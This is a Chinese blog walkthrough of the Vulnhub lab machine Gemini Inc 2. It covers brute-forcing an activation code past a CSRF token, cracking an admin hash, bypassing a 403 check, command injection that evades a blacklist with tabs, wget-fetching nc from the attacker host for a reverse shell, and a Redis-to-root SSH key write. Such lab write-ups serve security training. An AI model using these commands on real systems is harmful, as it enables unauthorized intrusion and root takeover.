• Vulnhub靶机:GEMINI INC_ 2


    介绍

    系列Gemini Inc(此系列共2台)
    发布日期:2018年04月29日
    注释: 使用vmwar workstation运行虚拟机
    难度: 中
    目标: 取得 root 权限 + Flag
    攻击方法:

    • 主机发现
    • 端口扫描
    • 信息收集
    • 隐藏路径爬取
    • 开放注册
    • 激活码爆破
    • Anti CSRF Token
    • 密码破解
    • WAF Bypass
    • 命令注入
    • 黑名单绕过
    • SSH公钥认证
    • Redis漏洞利用
    • 本地提权

    靶机地址:https://www.vulnhub.com/entry/gemini-inc-2,234/

    主机发现

    netdiscover主机发现

    sudo netdiscover -i eth0 -r 192.168.239.0/24
    
    • 1

    在这里插入图片描述

    主机信息探测

    nmap -p- 192.168.239.139
    nmap -p22,80 -sV 192.168.239.139
    
    • 1
    • 2

    在这里插入图片描述

    网站探测

    点点上面的链接,没啥用。
    在这里插入图片描述

    目录爆破

    分别进行了常规目录爆破,和文件后缀爆破

    dirsearch -u http://192.168.239.139 --full-url
    gobuster dir -r -u http://192.168.239.139 -x txt,html,php,bak,old,tar,zip -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 100 -e
    
    • 1
    • 2

    得到了一些有趣的页面:

    激活页面:http://192.168.239.139/activate.php
    黑名单页面:http://192.168.239.139/blacklist.txt
    注册页面:http://192.168.239.139/registration.php
    
    • 1
    • 2
    • 3
    1. 注册一个账号

    我先是用火狐浏览器注册的,页面没反应,换个别的浏览器出现反应了。第一次注册的时候给出一个提示,说不知道哪里出错了,第二次注册的时候提示账号已经注册了。
    在这里插入图片描述

    在这里插入图片描述

    1. 登录账号

    登录的时候得知需要一个6位数字的注册码,我在爆破目录的时候发现了一个激活页面,应该就是它了。
    在这里插入图片描述

    查看当前账户信息时发现当前账户的id是14
    在这里插入图片描述

    激活码爆破-绕token

    来到激活码页面,把我这个账号对应的id输进去。当我随便输入一个激活码的时候,页面没有任何反应,换用别的浏览器也是这样。我看了眼bp,首先确定爆破激活码的话需要绕Token;其次,猜测可能激活码输入正确时才会给出反应。那就开始爆破吧。
    在这里插入图片描述

    在这里插入图片描述

    1. 保持拦截

    输入我们的id号,随便写个激活码,bp开启拦截,把拦截的数据包发送到爆破模块中。bp继续保持拦截!

    1. 设置攻击模式

    攻击类型选择“Pitchfork”,然后选择设定攻击的两个对象
    在这里插入图片描述

    1. 设置payload
      1. 设置第一个参数

    在这里插入图片描述

    1. 设置第二个参数

    第二个参数的攻击模式选择:递归搜索(Recursive grep),下拉框的第6个选项
    在这里插入图片描述

    在这里插入图片描述

    1. 设置爆破速度

    因为是绕token,因此速率必须是1
    在这里插入图片描述

    1. 设置失败重试次数

    同样是还是因为token每次变化的原因,禁止失败重试。
    在这里插入图片描述

    1. 开始攻击

    不多时,发现了一个与众不同的攻击信息。得知激活码是 000511

    在这里插入图片描述

    1. 验证攻击

    bp停止拦截数据包,刷新浏览器页面,已经可以看到个人信息了。
    在这里插入图片描述

    破解管理员密码

    常规的信息收收集中,在用户列表中发现了名为“9emin1”的用户的“Rank”标签是“ Administrator ”,不妨试着登录这个账号试试。
    在这里插入图片描述

    如何登录这个账号呢?因为我的BP安装了HaE,我先是看了一眼,发现了一个敏感信息
    不清楚html标签含义的话,参见这里:https://www.w3school.com.cn/tags/tag_comment.asp
    在这里插入图片描述

    来到https://www.cmd5.com/ ,破解得到密码:secretpassword

    403绕过

    使用账号:Gemini、secretpassword登录网站,有个按钮提示我可以执行命令,但是当我尝试访问它的时候,页面没有显示任何内容,通过BP可以知道,我看不到内容的原因是IP地址不被允许访问。
    在这里插入图片描述

    虽然BurpSuite_403Bypasser已经探测到了bypass,但是这里我打算使用 “Bypass WAF”来绕过。
    在这里插入图片描述

    在BP应用商店搜索waf,你会看到“Bypass WAF”,根据介绍信息可以得知它主要用来ByPass403。
    在这里插入图片描述

    使用:

    1. 插件的默认配置无需改动
    2. 为了效果的纯粹性,在一台干净的win2012上启用一个干净的BP

    在这里插入图片描述

    在这里插入图片描述

    在这里插入图片描述

    在这里插入图片描述
    注意到,仪表盘没有提示403bypass

    1. IP绕过403的方法很多,之前总结过7种方法:https://www.yuque.com/u1881995/xwfvho/aam6g8#z9Jnp

    命令执行绕过

    尝试执行命令时,提示命令中包含非法字符,想起 http://192.168.239.139/blacklist.txt 中有黑名单。
    在这里插入图片描述

    碰到这种情况,试试tab绕过呢?可以看到命令成功执行了,但是我这里没有收到连接
    在这里插入图片描述

    既然如此,我就投递nc重新来反弹shell,为了绕过过滤,这里把所有的请求体的+替换为%09
    在这里插入图片描述

    在浏览器中依次执行如下命令:

    wget http://192.168.239.138/nc -O /tmp/nc
    chmod +x /tmp/nc
    /tmp/nc 192.168.239.138 4444
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    结果拿到的shell不能用,这一幕似曾相识。参见:https://www.yuque.com/u1881995/xwfvho/fdp6eb#brSWl
    与以往靶机不同的是,我很确认自己投递的nc是带-e功能的,那就指明终端重来
    在这里插入图片描述

    提权

    常规提权无效,提权脚本发现的漏洞也利用失败。漫无目的的翻看提权脚本的其他信息,发现靶机运行着redis和mysql,而redis是以root权限运行的。在redis默认路径下发现了它的配置文件,并获取了其登陆密码。
    在这里插入图片描述

    在这里插入图片描述

    在使用过程中发现光标显示效果存在严重问题,如何解决?

    SSH登录

    在之前的打靶经验中曾经介绍过“SSH偷梁换柱”语雀地址CSDN地址,可以通过SSH公钥身份认证登录解决上述的显示异常问题。

    1. kali生成ssh文件:ssh-keygen
    2. 靶机重新反弹个shell:
    cd ~
    mkdir .ssh
    cd .ssh
    /tmp/nc -nvlp 5555 > ./authorized_keys
    
    • 1
    • 2
    • 3
    • 4
    1. kali传送文件:nc -nv 192.168.239.139 5555 < id_rsa.pub -w 1

    测试发现,kali投递 authorized_keys 或者 id_rsa.pub 都是可行的。因为这俩本来就是一个东西。

    1. kali直接免密登录:ssh gemini1@192.168.239.139

    在这里插入图片描述

    redis提权

    由于redis是以root权限运行的,那么我们可以尝试把 gemini1 家目录下的authorized_keys文件丢到root家里面,进而实现提权。

    cd ~/.ssh
    
    把authorized_keys转换为redis可以使用的格式
    (echo -e "\n\n"; cat authorized_keys; echo -e "\n\n") > pub.txt
    
    ls
    cat pub.txt | redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6 -x set ssh_key
    redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6
    CONFIG set dir /root/.ssh
    config set dbfilename "authorized_keys"
    save
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    在这里插入图片描述

  • 相关阅读:
    HTML+JS实现水果消消乐游戏完整源码附注释
    使用SimPowerSystems并网光伏阵列研究(Simulink实现)
    CANoe-以太网软硬件网络自动映射的问题
    Spring——IOC容器启动及Bean生成流程
    Ansys Zemax | 如何设计光谱仪——理论依据
    java---多线程编程一
    [渗透测试]—5.3 网络渗透测试技术和工具
    学习ASP.NET Core Blazor编程系列十四——修改
    Java 中关于字符串拼接替换的常用方法
    西安交通大学软件学院学习指南:XJTUSE-GUIDE
  • 原文地址:https://blog.csdn.net/weixin_44288604/article/details/126253394